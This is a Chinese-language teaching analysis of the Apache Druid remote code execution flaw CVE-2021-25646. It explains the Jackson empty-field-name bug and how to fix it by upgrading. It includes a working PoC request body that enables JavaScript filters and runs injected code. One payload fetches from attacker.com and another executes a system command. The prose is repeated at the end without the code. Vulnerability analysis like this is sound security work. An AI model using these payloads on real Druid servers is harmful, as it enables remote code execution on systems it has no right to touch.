Druid远程代码执行漏洞分析(CVE-2021-25646)
字数 1595 2025-08-06 08:35:22

Druid远程代码执行漏洞分析(CVE-2021-25646)教学文档

漏洞概述

CVE-2021-25646是Apache Druid中的一个远程代码执行漏洞,攻击者可以通过构造特定的JSON请求,利用Jackson反序列化过程中的缺陷,注入恶意JavaScript代码并执行任意命令。

前置知识

Jackson相关注解

  1. @JacksonInject

    • 用于在反序列化时将缺少的属性设置为默认值
    • 当JSON字段缺少某些属性时,转换为实体类时没有的属性将为null
    • 使用此注解可以为null的属性设置默认值
  2. @JsonProperty

    • 用于属性上,作用是把该属性的名称序列化为另外一个名称
  3. @JsonValue

    • 可用于get方法或属性字段上
    • 一个类只能使用一个
    • 加上此注解后,类的JSON化结果只有这个get方法的返回值
  4. @JsonCreator

    • 指定一个有参构造函数供反序列化时调用
    • 构造方法的参数前面需要加上@JsonProperty
  5. @JsonTypeInfo

    • 作用于类或接口
    • 用于处理多态类型的序列化及反序列化

漏洞分析

漏洞根源

漏洞源于Jackson反序列化过程中的一个已知bug(jackson-databind#3022),该bug允许空字段名("")被反序列化。

关键修改点

  1. GuiceAnnotationIntrospector.java

    • 重写了findPropertyIgnorals方法
    • 方法作用:在Jackson反序列化中找到哪些属性需要忽略
    • 修改逻辑:
      • 如果属性有@JsonProperty注解,返回JsonIgnoreProperties.Value.empty()
      • 否则返回JsonIgnoreProperties.Value.forIgnoredProperties("")(不允许空字段名)
  2. DruidSecondaryModule.java

    • 修改了setupJackson函数
    • 为ObjectMapper对象增加InjectableValues的值
    • 用于处理@JacksonInject注解

漏洞原理

  1. 当JSON反序列化时,带有@JacksonInject注解的属性会被名为""的字段填充
  2. 正常情况下,JavaScriptConfig对象应该由Druid重写的GuiceInjectableValues类控制
  3. 但通过构造空字段名("")的JSON数据,可以绕过限制,控制JavaScriptConfigenabled属性

漏洞利用类

org.apache.druid.query.filter.JavaScriptDimFilter类:

public JavaScriptDimFilter(
    @JsonProperty("dimension") String dimension,
    @JsonProperty("function") String function,
    @JsonProperty("extractionFn") @Nullable ExtractionFn extractionFn,
    @JsonProperty("filterTuning") @Nullable FilterTuning filterTuning,
    @JacksonInject JavaScriptConfig config
)
  • config变量本应由配置控制,但通过漏洞可被用户控制
  • toFilter方法会获取由function参数生成的JavaScriptPredicateFactory对象
  • 该对象可以执行Java代码,导致任意代码执行

漏洞复现

触发路径

  1. 通过Druid的"load data"模块上传数据
  2. 在filter配置中构造恶意JSON

POC构造

{
  "type": "index",
  "spec": {
    "ioConfig": {
      "type": "index",
      "inputSource": {
        "type": "inline",
        "data": "{\"isRobot\":true,\"channel\":\"#sv.wikipedia\",\"timestamp\":\"2016-06-27T00:00:11.080Z\"}"
      },
      "inputFormat": {
        "type": "json",
        "keepNullColumns": true
      }
    },
    "dataSchema": {
      "dataSource": "sample",
      "timestampSpec": {
        "column": "timestamp",
        "format": "iso"
      },
      "dimensionsSpec": {},
      "transformSpec": {
        "transforms": [],
        "filter": {
          "type": "javascript",
          "dimension": "123",
          "function": "function(value) {new java.net.URL(\"http://attacker.com\").openStream()}",
          "": {
            "enabled": true
          }
        }
      }
    },
    "type": "index",
    "tuningConfig": {
      "type": "index"
    }
  },
  "samplerConfig": {
    "numRows": 500,
    "timeoutMs": 15000
  }
}

关键点:

  1. filter.type设置为"javascript"
  2. function字段包含恶意JavaScript代码
  3. 空字段名("")用于注入JavaScriptConfig配置,设置enabled: true

恶意代码示例

  1. 发起HTTP请求:
function(value) {new java.net.URL("http://attacker.com").openStream()}
  1. 执行系统命令:
function(value) {java.lang.Runtime.getRuntime().exec("calc.exe")}

修复方案

  1. 升级到Apache Druid 0.20.1或更高版本
  2. 补丁主要修改了GuiceAnnotationIntrospector.java,防止空字段名被反序列化

参考链接

  1. Jackson-databind issue #3022
  2. Druid CVE-2021-25646分析文章1
  3. Druid CVE-2021-25646分析文章2
Druid远程代码执行漏洞分析(CVE-2021-25646)教学文档 漏洞概述 CVE-2021-25646是Apache Druid中的一个远程代码执行漏洞,攻击者可以通过构造特定的JSON请求,利用Jackson反序列化过程中的缺陷,注入恶意JavaScript代码并执行任意命令。 前置知识 Jackson相关注解 @JacksonInject 用于在反序列化时将缺少的属性设置为默认值 当JSON字段缺少某些属性时,转换为实体类时没有的属性将为null 使用此注解可以为null的属性设置默认值 @JsonProperty 用于属性上,作用是把该属性的名称序列化为另外一个名称 @JsonValue 可用于get方法或属性字段上 一个类只能使用一个 加上此注解后,类的JSON化结果只有这个get方法的返回值 @JsonCreator 指定一个有参构造函数供反序列化时调用 构造方法的参数前面需要加上@JsonProperty @JsonTypeInfo 作用于类或接口 用于处理多态类型的序列化及反序列化 漏洞分析 漏洞根源 漏洞源于Jackson反序列化过程中的一个已知bug( jackson-databind#3022 ),该bug允许空字段名("")被反序列化。 关键修改点 GuiceAnnotationIntrospector.java 重写了 findPropertyIgnorals 方法 方法作用:在Jackson反序列化中找到哪些属性需要忽略 修改逻辑: 如果属性有 @JsonProperty 注解,返回 JsonIgnoreProperties.Value.empty() 否则返回 JsonIgnoreProperties.Value.forIgnoredProperties("") (不允许空字段名) DruidSecondaryModule.java 修改了 setupJackson 函数 为ObjectMapper对象增加InjectableValues的值 用于处理 @JacksonInject 注解 漏洞原理 当JSON反序列化时,带有 @JacksonInject 注解的属性会被名为""的字段填充 正常情况下, JavaScriptConfig 对象应该由Druid重写的 GuiceInjectableValues 类控制 但通过构造空字段名("")的JSON数据,可以绕过限制,控制 JavaScriptConfig 的 enabled 属性 漏洞利用类 org.apache.druid.query.filter.JavaScriptDimFilter 类: config 变量本应由配置控制,但通过漏洞可被用户控制 toFilter 方法会获取由 function 参数生成的 JavaScriptPredicateFactory 对象 该对象可以执行Java代码,导致任意代码执行 漏洞复现 触发路径 通过Druid的"load data"模块上传数据 在filter配置中构造恶意JSON POC构造 关键点: filter.type 设置为"javascript" function 字段包含恶意JavaScript代码 空字段名("")用于注入 JavaScriptConfig 配置,设置 enabled: true 恶意代码示例 发起HTTP请求: 执行系统命令: 修复方案 升级到Apache Druid 0.20.1或更高版本 补丁主要修改了 GuiceAnnotationIntrospector.java ,防止空字段名被反序列化 参考链接 Jackson-databind issue #3022 Druid CVE-2021-25646分析文章1 Druid CVE-2021-25646分析文章2